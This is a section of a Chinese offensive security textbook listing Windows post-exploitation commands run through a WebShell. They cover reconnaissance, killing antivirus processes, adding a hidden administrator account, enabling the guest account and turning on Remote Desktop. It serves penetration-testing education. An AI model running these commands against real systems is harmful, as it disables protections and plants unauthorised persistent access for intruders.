- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 1852字
- 2019-11-18 15:09:29
1.9 Windows系統提權基礎命令
在第1.1節中,我們對提權進行了介紹。在實際提權過程中,常常需要通過WebShell來執行各種命令,以獲取操作系統(內網系統)服務器所開啟的端口、進程、系統服務、已安裝程序、系統安全設置等信息。對這些信息的探測,都是建立在可以執行基本命令的WebShell上的。
1.9.1 獲取IP地址信息
IP地址主要有兩種,一種是內網IP地址,另一種是外網IP地址。在滲透提權過程中,如果遇到外網IP地址,可以在該服務器上啟用3389后直接登錄;如果遇到內網IP地址,則需要配合一些代理程序(例如lcx等)才能登錄。
IP地址的獲取比較簡單,有的WebShell上會自己顯示(但僅顯示IP地址)。在Windows中使用“ipconfig/all”命令,在Linux中使用“ifconfig-a”命令,通過顯示的信息來獲取IP地址。如圖1-75所示,獲取Windows下某主機的IP地址信息,其中包含了很多重要信息。本例是無線網絡,如果是域內主機,則可以通過DNS等信息獲取DNS服務器IP地址等。

圖1-75 獲取IP地址信息
1.9.2 獲取端口信息
我們習慣使用“netstat-an”命令來獲取目前主機所有端口的開放情況及網絡連接情況。端口開放情況也可以通過NMap等掃描軟件獲取。使用Netstat一般是在有一定權限的情況下,例如獲取了3389開放的端口等。Netstat可以附加一些參數來顯示更加詳細的信息,具體如下。
· -b:顯示包含于創建每個連接或監聽端口的可執行組件。在某些情況下,已知可執行組件擁有多個獨立組件,且包含于創建連接或監聽端口的組件序列將被顯示。執行此選項可能需要很長時間,如果沒有足夠的權限,可能會失敗。
· -o:顯示與每個連接相關的所屬進程ID。
· -v:與“-b”選項一起使用時將顯示包含于為所有可執行組件創建連接或監聽端口的組件。
“netstat-anb”命令用于獲取進程號(PID)、端口開放情況、開放端口程序及服務組件等信息。“netstat-ano”命令用于獲取TCP/UDP協議信息、端口和進程號。“netstat-anvb”命令用于獲取進程名、對應的進程PID、端口所用的協議、調用的可執行組件、相應的組件和第三方進程的系統路徑。
1.9.3 獲取服務信息和進程信息
1.獲取服務信息
在Windows下有很多第三方程序是通過服務運行的,如果攻擊者從服務信息中獲取了第三方程序的名稱,就可以利用其相關漏洞進行提權。服務信息的獲取還可以用于關閉殺毒軟件和防火墻,以及關閉某些防護進程。可以通過“net start”命令查看系統所開啟的所有服務,通過“net stop servicesname”命令停止服務,通過“net start servicename”命令開啟服務。
2.獲取進程信息
通過“tasklist/svc”命令可以獲取運行的進程名稱、服務和PID。可以通過msinfo32命令獲取更加詳細的進程信息,示例如下。
start /wait msinfo32.exe /report c:\windows\list.txt /categories swenv+SWEnvRunningTasks
·獲取環境變量,示例如下。
start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvEnvVars
·獲取程序組信息(可以獲取目標服務器所安裝的軟件信息),示例如下。
start /wait msinfo32.exe /report c:\windows\temp\programs.txt /categories swenv+SWEnvStartupPrograms
·獲取啟動程序相關信息,示例如下。
start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvStartupPrograms
1.9.4 進程結束命令
在提權過程中需要關閉或者結束一些殺毒軟件或者防護軟件的進程。結束進程命令除了系統自帶的之外,還有pskill,下面進行介紹。
1.taskkill命令
taskkill是Windows自帶的終止進程程序,其命令規則如下。
TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T]
比較常用的參數是“/im”及“/f”。例如,強制關閉360殺毒程序,命令如下。
taskkill /im 360tray.exe /f
taskill一般需要配合tasklist使用。通過tasklist,可以查看系統目前運行的進程,獲取其PID。如圖1-76所示,獲取httpd.exe進程的PID為452,則殺死該進程的命令為“taskkill/pid 452/F”。如圖1-77所示,成功將該進程殺死。

圖1-76 獲取所有的進程

圖1-77 結束某個進程
2.PsKill命令
PsKill程序是PsTools包中的一個子程序,其功能與taskkill類似,第一次運行時需要加入參數accepteula,即使用“pskill/accepteula”命令接受其許可。
PsTools的下載地址為https://download.sysinternals.com/files/PSTools.zip,其命令規則如下。
pskill [-t] [\\computer [-u username [-p password]]] <process ID | name>
常見用法為“pskill進程號(或者名字)”。例如,結束notepad.exe進程,命令為“pskill notepad”,如圖1-78所示。

圖1-78 PsKill結束進程
1.9.5 用戶管理命令
對Windows操作系統來說,系統訪問一般是通過用戶口令來實現的。大多數提權是通過漏洞利用程序獲取system權限,添加管理員用戶賬號到系統中,開啟3389端口登錄系統的。用戶管理可以通過控制臺進行,也可以在命令行中進行。需要注意的是,有些系統設置了密碼復雜度,也就是說,如果不滿足復雜度,將無法添加用戶。
1.添加用戶temp為管理員
net user temp T@#qweasd2016 /add & net Localgroup Administrators temp/Add
上面的命令可以分開寫,具體如下。
net user temp T@#qweasd2016 /add net Localgroup Administrators temp /Add
查看當前系統管理員用戶,命令如下。
net Localgroup Administrators
加入遠程桌面用戶組,命令如下。
net localgroup “Remote Desktop Users“ temp /add
查看指定用戶的信息,命令如下。
Net user temp
2.激活guest用戶
net user guest /active:yes
修改guest用戶的密碼,命令如下。
net user guest 1234
1.9.6 開啟3389端口
在Windows Server 2003中,使用cmd命令開啟3389端口,示例如下。
wmic path win32_terminalservicesetting where (__CLASS ! = “”) call setallowtsconnections 1
在Windows Server 2008/7/Server 2012中,使用cmd命令開啟3389端口,示例如下。
1 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS ! = “”) call setallowtsconnections 1 2 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 3 reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
在Windows Server 2012和Windows 7中只需要使用前兩條命令。